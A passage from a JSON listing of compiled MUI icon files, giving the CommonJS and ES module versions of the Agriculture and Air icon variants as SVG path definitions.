\"1\")], 'Agriculture');"
  },
  {
    "path": "packages/mui-icons-material/lib/AgricultureOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h5c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1s.45 1 1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 14.06V8c0-1.1-.9-2-2-2h-6.29l-1.06-1.06 1.41-1.41-.71-.71-3.53 3.53.71.71 1.41-1.41L13 6.71V9c0 1.1-.9 2-2 2H8.96c-.22-.16-.45-.3-.69-.43l-.4.89-.46-.21.4-.9C7.26 10.13 6.64 10 6 10c-.53 0-1.04.11-1.52.26l.34.91-.47.18-.35-.93c-1.06.46-1.91 1.28-2.43 2.31l.89.4-.21.46-.9-.4C1.13 13.74 1 14.36 1 15c0 .53.11 1.04.26 1.52l.91-.34.18.47-.93.35c.46 1.06 1.28 1.91 2.31 2.43l.4-.89.46.21-.4.9c.55.22 1.17.35 1.81.35.53 0 1.04-.11 1.52-.26l-.34-.91.47-.18.35.93c1.06-.46 1.91-1.28 2.43-2.31l-.89-.4.21-.46.9.4c.1-.26.18-.54.24-.82h5.16c-.02.17-.05.34-.05.51 0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5c0-.95-.38-1.81-1-2.44M6 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m4.87-4c-.04-.18-.08-.35-.13-.52l-.91.34-.18-.47.93-.35H11c2.21 0 4-1.79 4-4V8h5v5.05c-.16-.02-.33-.05-.5-.05-.95 0-1.81.38-2.44 1zm8.63 4c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'AgricultureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AgricultureOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h5c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1s.45 1 1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 14.06V8c0-1.1-.9-2-2-2h-6.29l-1.06-1.06 1.41-1.41-.71-.71-3.53 3.53.71.71 1.41-1.41L13 6.71V9c0 1.1-.9 2-2 2H8.96c-.22-.16-.45-.3-.69-.43l-.4.89-.46-.21.4-.9C7.26 10.13 6.64 10 6 10c-.53 0-1.04.11-1.52.26l.34.91-.47.18-.35-.93c-1.06.46-1.91 1.28-2.43 2.31l.89.4-.21.46-.9-.4C1.13 13.74 1 14.36 1 15c0 .53.11 1.04.26 1.52l.91-.34.18.47-.93.35c.46 1.06 1.28 1.91 2.31 2.43l.4-.89.46.21-.4.9c.55.22 1.17.35 1.81.35.53 0 1.04-.11 1.52-.26l-.34-.91.47-.18.35.93c1.06-.46 1.91-1.28 2.43-2.31l-.89-.4.21-.46.9.4c.1-.26.18-.54.24-.82h5.16c-.02.17-.05.34-.05.51 0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5c0-.95-.38-1.81-1-2.44M6 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m4.87-4c-.04-.18-.08-.35-.13-.52l-.91.34-.18-.47.93-.35H11c2.21 0 4-1.79 4-4V8h5v5.05c-.16-.02-.33-.05-.5-.05-.95 0-1.81.38-2.44 1zm8.63 4c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\")], 'AgricultureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AgricultureRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 11.97c.93 0 1.78.28 2.5.76V7.97c0-1.1-.9-2-2-2h-6.29l-1.06-1.06 1.06-1.06c.2-.2.2-.51 0-.71s-.51-.2-.71 0l-2.83 2.83c-.2.2-.2.51 0 .71s.51.2.71 0l1.06-1.06L13 6.68v2.29c0 1.1-.9 2-2 2h-.54c.95 1.06 1.54 2.46 1.54 4 0 .34-.04.67-.09 1h3.14c.25-2.24 2.14-4 4.45-4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 12.97c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M4 8.97h5c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1 0 .56.45 1 1 1m5.83 4.82-.18-.47.93-.35c-.46-1.06-1.28-1.91-2.31-2.43l-.4.89-.46-.21.4-.9c-.55-.21-1.17-.35-1.81-.35-.53 0-1.04.11-1.52.26l.34.91-.47.18L4 10.4c-1.06.46-1.91 1.28-2.43 2.31l.89.4-.21.46-.9-.4c-.22.55-.35 1.16-.35 1.8 0 .53.11 1.04.26 1.52l.91-.34.18.47-.93.35c.46 1.06 1.28 1.91 2.31 2.43l.4-.89.46.21-.4.9c.57.22 1.18.35 1.82.35.53 0 1.04-.11 1.52-.26l-.35-.91.47-.18.35.93c1.06-.46 1.91-1.28 2.43-2.31l-.89-.4.21-.46.9.4c.22-.57.35-1.18.35-1.82 0-.53-.11-1.04-.26-1.52zm-2.68 3.96c-1.53.63-3.29-.09-3.92-1.62s.09-3.29 1.62-3.92 3.29.09 3.92 1.62c.64 1.53-.09 3.28-1.62 3.92\"\n}, \"1\")], 'AgricultureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AgricultureRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 11.97c.93 0 1.78.28 2.5.76V7.97c0-1.1-.9-2-2-2h-6.29l-1.06-1.06 1.06-1.06c.2-.2.2-.51 0-.71s-.51-.2-.71 0l-2.83 2.83c-.2.2-.2.51 0 .71s.51.2.71 0l1.06-1.06L13 6.68v2.29c0 1.1-.9 2-2 2h-.54c.95 1.06 1.54 2.46 1.54 4 0 .34-.04.67-.09 1h3.14c.25-2.24 2.14-4 4.45-4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 12.97c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M4 8.97h5c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1 0 .56.45 1 1 1m5.83 4.82-.18-.47.93-.35c-.46-1.06-1.28-1.91-2.31-2.43l-.4.89-.46-.21.4-.9c-.55-.21-1.17-.35-1.81-.35-.53 0-1.04.11-1.52.26l.34.91-.47.18L4 10.4c-1.06.46-1.91 1.28-2.43 2.31l.89.4-.21.46-.9-.4c-.22.55-.35 1.16-.35 1.8 0 .53.11 1.04.26 1.52l.91-.34.18.47-.93.35c.46 1.06 1.28 1.91 2.31 2.43l.4-.89.46.21-.4.9c.57.22 1.18.35 1.82.35.53 0 1.04-.11 1.52-.26l-.35-.91.47-.18.35.93c1.06-.46 1.91-1.28 2.43-2.31l-.89-.4.21-.46.9.4c.22-.57.35-1.18.35-1.82 0-.53-.11-1.04-.26-1.52zm-2.68 3.96c-1.53.63-3.29-.09-3.92-1.62s.09-3.29 1.62-3.92 3.29.09 3.92 1.62c.64 1.53-.09 3.28-1.62 3.92\"\n}, \"1\")], 'AgricultureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AgricultureSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 12c.93 0 1.78.28 2.5.76V8c0-1.1-.9-2-2-2h-6.29l-1.06-1.06 1.41-1.41-.71-.71-3.53 3.53.71.71 1.41-1.41L13 6.71V9c0 1.1-.9 2-2 2h-.54c.95 1.06 1.54 2.46 1.54 4 0 .34-.04.67-.09 1h3.14c.25-2.25 2.14-4 4.45-4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M4 9h5c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1s.45 1 1 1m5.83 4.82-.18-.47.93-.35c-.46-1.06-1.28-1.91-2.31-2.43l-.4.89-.46-.21.4-.9C7.26 10.13 6.64 10 6 10c-.53 0-1.04.11-1.52.26l.34.91-.47.18-.35-.93c-1.06.46-1.91 1.28-2.43 2.31l.89.4-.21.46-.9-.4C1.13 13.74 1 14.36 1 15c0 .53.11 1.04.26 1.52l.91-.34.18.47-.93.35c.46 1.06 1.28 1.91 2.31 2.43l.4-.89.46.21-.4.9c.55.22 1.17.35 1.81.35.53 0 1.04-.11 1.52-.26l-.34-.91.47-.18.35.93c1.06-.46 1.91-1.28 2.43-2.31l-.89-.4.21-.46.9.4c.22-.55.35-1.17.35-1.81 0-.53-.11-1.04-.26-1.52zm-2.68 3.95c-1.53.63-3.29-.09-3.92-1.62s.09-3.29 1.62-3.92 3.29.09 3.92 1.62c.64 1.53-.09 3.29-1.62 3.92\"\n}, \"1\")], 'AgricultureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AgricultureSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 12c.93 0 1.78.28 2.5.76V8c0-1.1-.9-2-2-2h-6.29l-1.06-1.06 1.41-1.41-.71-.71-3.53 3.53.71.71 1.41-1.41L13 6.71V9c0 1.1-.9 2-2 2h-.54c.95 1.06 1.54 2.46 1.54 4 0 .34-.04.67-.09 1h3.14c.25-2.25 2.14-4 4.45-4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M4 9h5c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1s.45 1 1 1m5.83 4.82-.18-.47.93-.35c-.46-1.06-1.28-1.91-2.31-2.43l-.4.89-.46-.21.4-.9C7.26 10.13 6.64 10 6 10c-.53 0-1.04.11-1.52.26l.34.91-.47.18-.35-.93c-1.06.46-1.91 1.28-2.43 2.31l.89.4-.21.46-.9-.4C1.13 13.74 1 14.36 1 15c0 .53.11 1.04.26 1.52l.91-.34.18.47-.93.35c.46 1.06 1.28 1.91 2.31 2.43l.4-.89.46.21-.4.9c.55.22 1.17.35 1.81.35.53 0 1.04-.11 1.52-.26l-.34-.91.47-.18.35.93c1.06-.46 1.91-1.28 2.43-2.31l-.89-.4.21-.46.9.4c.22-.55.35-1.17.35-1.81 0-.53-.11-1.04-.26-1.52zm-2.68 3.95c-1.53.63-3.29-.09-3.92-1.62s.09-3.29 1.62-3.92 3.29.09 3.92 1.62c.64 1.53-.09 3.29-1.62 3.92\"\n}, \"1\")], 'AgricultureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AgricultureTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h5c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1s.45 1 1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 14.06V8c0-1.1-.9-2-2-2h-6.29l-1.06-1.06 1.41-1.41-.71-.71-3.53 3.53.71.71 1.41-1.41L13 6.71V9c0 1.1-.9 2-2 2H8.96c-.22-.16-.45-.3-.69-.43l-.4.89-.46-.21.4-.9C7.26 10.13 6.64 10 6 10c-.53 0-1.04.11-1.52.26l.34.91-.47.18-.35-.93c-1.06.46-1.91 1.28-2.43 2.31l.89.4-.21.46-.9-.4C1.13 13.74 1 14.36 1 15c0 .53.11 1.04.26 1.52l.91-.34.18.47-.93.35c.46 1.06 1.28 1.91 2.31 2.43l.4-.89.46.21-.4.9c.55.22 1.17.35 1.81.35.53 0 1.04-.11 1.52-.26l-.34-.91.47-.18.35.93c1.06-.46 1.91-1.28 2.43-2.31l-.89-.4.21-.46.9.4c.1-.26.18-.54.24-.82h5.16c-.02.17-.05.34-.05.51 0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5c0-.95-.38-1.81-1-2.44M6 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m4.87-4c-.04-.18-.08-.35-.13-.52l-.91.34-.18-.47.93-.35H11c2.21 0 4-1.79 4-4V8h5v5.05c-.16-.02-.33-.05-.5-.05-.95 0-1.81.38-2.44 1zm8.63 4c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13.05V8h-5v1c0 2.21-1.79 4-4 4h-.42c.14.32.25.65.32 1h6.16c.63-.62 1.49-1 2.44-1 .17 0 .34.03.5.05\",\n  opacity: \".3\"\n}, \"2\")], 'AgricultureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AgricultureTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h5c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1s.45 1 1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 14.06V8c0-1.1-.9-2-2-2h-6.29l-1.06-1.06 1.41-1.41-.71-.71-3.53 3.53.71.71 1.41-1.41L13 6.71V9c0 1.1-.9 2-2 2H8.96c-.22-.16-.45-.3-.69-.43l-.4.89-.46-.21.4-.9C7.26 10.13 6.64 10 6 10c-.53 0-1.04.11-1.52.26l.34.91-.47.18-.35-.93c-1.06.46-1.91 1.28-2.43 2.31l.89.4-.21.46-.9-.4C1.13 13.74 1 14.36 1 15c0 .53.11 1.04.26 1.52l.91-.34.18.47-.93.35c.46 1.06 1.28 1.91 2.31 2.43l.4-.89.46.21-.4.9c.55.22 1.17.35 1.81.35.53 0 1.04-.11 1.52-.26l-.34-.91.47-.18.35.93c1.06-.46 1.91-1.28 2.43-2.31l-.89-.4.21-.46.9.4c.1-.26.18-.54.24-.82h5.16c-.02.17-.05.34-.05.51 0 1.93 1.57 3.5 3.5 3.5s3.5-1.57 3.5-3.5c0-.95-.38-1.81-1-2.44M6 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m4.87-4c-.04-.18-.08-.35-.13-.52l-.91.34-.18-.47.93-.35H11c2.21 0 4-1.79 4-4V8h5v5.05c-.16-.02-.33-.05-.5-.05-.95 0-1.81.38-2.44 1zm8.63 4c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13.05V8h-5v1c0 2.21-1.79 4-4 4h-.42c.14.32.25.65.32 1h6.16c.63-.62 1.49-1 2.44-1 .17 0 .34.03.5.05\",\n  opacity: \".3\"\n}, \"2\")], 'AgricultureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Air.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3h2c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1H2v-2h9.5c1.65 0 3 1.35 3 3M19 6.5C19 4.57 17.43 3 15.5 3S12 4.57 12 6.5h2c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S16.33 8 15.5 8H2v2h13.5c1.93 0 3.5-1.57 3.5-3.5m-.5 4.5H2v2h16.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5v2c1.93 0 3.5-1.57 3.5-3.5S20.43 11 18.5 11\"\n}), 'Air');"
  },
  {
    "path": "packages/mui-icons-material/lib/Air.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3h2c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1H2v-2h9.5c1.65 0 3 1.35 3 3M19 6.5C19 4.57 17.43 3 15.5 3S12 4.57 12 6.5h2c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S16.33 8 15.5 8H2v2h13.5c1.93 0 3.5-1.57 3.5-3.5m-.5 4.5H2v2h16.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5v2c1.93 0 3.5-1.57 3.5-3.5S20.43 11 18.5 11\"\n}), 'Air');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3h2c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1H2v-2h9.5c1.65 0 3 1.35 3 3M19 6.5C19 4.57 17.43 3 15.5 3S12 4.57 12 6.5h2c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S16.33 8 15.5 8H2v2h13.5c1.93 0 3.5-1.57 3.5-3.5m-.5 4.5H2v2h16.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5v2c1.93 0 3.5-1.57 3.5-3.5S20.43 11 18.5 11\"\n}), 'AirOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3h2c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1H2v-2h9.5c1.65 0 3 1.35 3 3M19 6.5C19 4.57 17.43 3 15.5 3S12 4.57 12 6.5h2c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S16.33 8 15.5 8H2v2h13.5c1.93 0 3.5-1.57 3.5-3.5m-.5 4.5H2v2h16.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5v2c1.93 0 3.5-1.57 3.5-3.5S20.43 11 18.5 11\"\n}), 'AirOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.35 17.95c-.28.89-1.01 1.62-1.9 1.9-1.51.48-2.94-.23-3.59-1.42-.35-.65.17-1.43.91-1.43h.01c.34 0 .68.16.84.46.17.32.5.54.89.54.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1-.45-1-1s.45-1 1-1h8.5c1.96 0 3.5 1.9 2.85 3.95m4.56-12.28c-.29-1.26-1.32-2.29-2.58-2.58-1.76-.4-3.37.53-4.02 1.98-.31.67.17 1.43.9 1.43.39 0 .75-.22.9-.57.23-.55.76-.93 1.39-.93.83 0 1.5.67 1.5 1.5S16.33 8 15.5 8H3c-.55 0-1 .45-1 1s.45 1 1 1h12.5c2.2 0 3.93-2.04 3.41-4.33M18.4 11H3c-.55 0-1 .45-1 1s.45 1 1 1h15.5c.83 0 1.5.67 1.5 1.5 0 .63-.38 1.16-.93 1.39-.36.15-.57.51-.57.9 0 .73.76 1.21 1.43.91 1.43-.64 2.35-2.21 2-3.93-.34-1.64-1.86-2.77-3.53-2.77\"\n}), 'AirRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.35 17.95c-.28.89-1.01 1.62-1.9 1.9-1.51.48-2.94-.23-3.59-1.42-.35-.65.17-1.43.91-1.43h.01c.34 0 .68.16.84.46.17.32.5.54.89.54.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1-.45-1-1s.45-1 1-1h8.5c1.96 0 3.5 1.9 2.85 3.95m4.56-12.28c-.29-1.26-1.32-2.29-2.58-2.58-1.76-.4-3.37.53-4.02 1.98-.31.67.17 1.43.9 1.43.39 0 .75-.22.9-.57.23-.55.76-.93 1.39-.93.83 0 1.5.67 1.5 1.5S16.33 8 15.5 8H3c-.55 0-1 .45-1 1s.45 1 1 1h12.5c2.2 0 3.93-2.04 3.41-4.33M18.4 11H3c-.55 0-1 .45-1 1s.45 1 1 1h15.5c.83 0 1.5.67 1.5 1.5 0 .63-.38 1.16-.93 1.39-.36.15-.57.51-.57.9 0 .73.76 1.21 1.43.91 1.43-.64 2.35-2.21 2-3.93-.34-1.64-1.86-2.77-3.53-2.77\"\n}), 'AirRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3h2c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1H2v-2h9.5c1.65 0 3 1.35 3 3M19 6.5C19 4.57 17.43 3 15.5 3S12 4.57 12 6.5h2c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S16.33 8 15.5 8H2v2h13.5c1.93 0 3.5-1.57 3.5-3.5m-.5 4.5H2v2h16.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5v2c1.93 0 3.5-1.57 3.5-3.5S20.43 11 18.5 11\"\n}), 'AirSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3h2c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1H2v-2h9.5c1.65 0 3 1.35 3 3M19 6.5C19 4.57 17.43 3 15.5 3S12 4.57 12 6.5h2c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S16.33 8 15.5 8H2v2h13.5c1.93 0 3.5-1.57 3.5-3.5m-.5 4.5H2v2h16.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5v2c1.93 0 3.5-1.57 3.5-3.5S20.43 11 18.5 11\"\n}), 'AirSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3h2c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1H2v-2h9.5c1.65 0 3 1.35 3 3M19 6.5C19 4.57 17.43 3 15.5 3S12 4.57 12 6.5h2c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S16.33 8 15.5 8H2v2h13.5c1.93 0 3.5-1.57 3.5-3.5m-.5 4.5H2v2h16.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5v2c1.93 0 3.5-1.57 3.5-3.5S20.43 11 18.5 11\"\n}), 'AirTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 17c0 1.65-1.35 3-3 3s-3-1.35-3-3h2c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1H2v-2h9.5c1.65 0 3 1.35 3 3M19 6.5C19 4.57 17.43 3 15.5 3S12 4.57 12 6.5h2c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S16.33 8 15.5 8H2v2h13.5c1.93 0 3.5-1.57 3.5-3.5m-.5 4.5H2v2h16.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5v2c1.93 0 3.5-1.57 3.5-3.5S20.43 11 18.5 11\"\n}), 'AirTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlat.js",
